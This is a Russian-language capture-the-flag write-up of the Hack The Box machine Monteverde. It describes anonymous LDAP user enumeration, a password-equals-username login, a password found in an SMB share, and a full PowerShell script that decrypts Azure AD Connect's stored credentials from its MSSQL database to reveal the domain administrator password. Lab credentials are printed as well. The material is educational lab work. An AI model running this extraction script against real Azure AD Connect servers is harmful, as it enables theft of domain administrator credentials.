Райтап HTB Monteverde
Введение
Привет, хакеры! В этой статье мы будем извлекать информацию о пользователях из LDAP, выясним, как работать с Azure AD connect, и используем это, чтобы получить пароль администратора в открытом виде. Эта машина показалась мне довольно сложной, но я узнал много нового о powershell и sql, а также об интеграции Azure <-> AD.
Enumeration
LDAP
Оказалось, что нам доступно анонимное подключение к LDAP: godap -u '' -p '' monteverde.htb
Дампим пользователей через LDAP
Давайте сдампим пользователей чтобы попробовать подобрать пароли.
1
ldapsearch -x -H ldap://monteverde.htb -b "dc=MEGABANK,dc=LOCAL" "(objectClass=user)" userPrincipalName > userprincipalname.dump
Теперь получим только имена с помощь grep и регулярного выражения:
1
grep -o -oP 'userPrincipalName:\s*([a-zA-Z0-9-]+)@[a-zA-Z0-9]+\.[a-zA-Z0-9]+' userprincipalname.dump | cut -d '@' -f 1 | cut -d ':' -f 2
Логин под пользователем SABatchJobs
Как видите, у одного из пользователей пароль равен его имени пользователя. Это позволило нам войти в систему.
SABatchJobs:SABatchJobs
Честно говоря, я думаю, что это довольно глупо для средней машины, никакая современная парольная политика не позволит такого, помимо того это довольно неочевидный путь, все отвыкли от таких банальных вещей (может это и правильно что нам об этом напомнили). Мне пришлось зайти на форумы, чтобы найти чей-то пост, где намекали, что следует попробовать что-то очень банальное.
SMB
У нас есть доступ к нестандартному ресурсу под названием users$, единственная директория, в которой что-то есть, - mhope. Мы находим файл azure.xml, который содержит пароль этого пользователя. 
mhope:4n0therD4y@n0th3r$
Как вы видите ниже, у нас есть возможность зайти на сервер под этим пользователем. 
Наш пользователь является администратором Azure, и если мы вернемся в LDAP, то увидим, что Azure AD Connect подключен на сервере, который является контроллером домена. 
Эксплуатация Azure AD Connect
Я нашёл пост в гугле, как раз про эксплуатацию Azure AD Connect.
В нем есть скрипт, но он не работает из коробки. Поскольку он опирается на существующую файловую базу данных (как sqlite, но microsoft). Однако у нас нет локальной базы данных, так как azure ad connect на этой машине, похоже, использует MSSQL на порту 1433.
Я долго возился с этой частью, так как пытался пробросить порт 1433 на свою машину и извлечь таким образом данные нужные скрипту из БД. Однако локальная аутентификация windows не работала через туннель, о чем я в тот момент не знал.
Как оказалось, существует полезный исполняемый файл под названием sqlcmd, он позволяет нам делать sql-запросы и использует локальный windows аутентификацию, такой вывод я сделал так как он работает без предъявления нами учетных данных. 
Хотя извлечение первой части информации, необходимой для нашего скрипта, прошло нормально, вторая часть никак не хотела выводиться в формате, приемлемом для скрипта. 
Итак, перепробовав миллион способов передачи строки sql-соединения в powershell, я написал финальную версию скрипта, который использовал БД MSSQL вместо локальной и он сработал!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
#$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM
mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
Благодаря скрипту выше мы получили пароль администратора. Это позволило нам войти в систему через winrm. 
Administrator:d0m@in4dminyeah!
Запавнено!




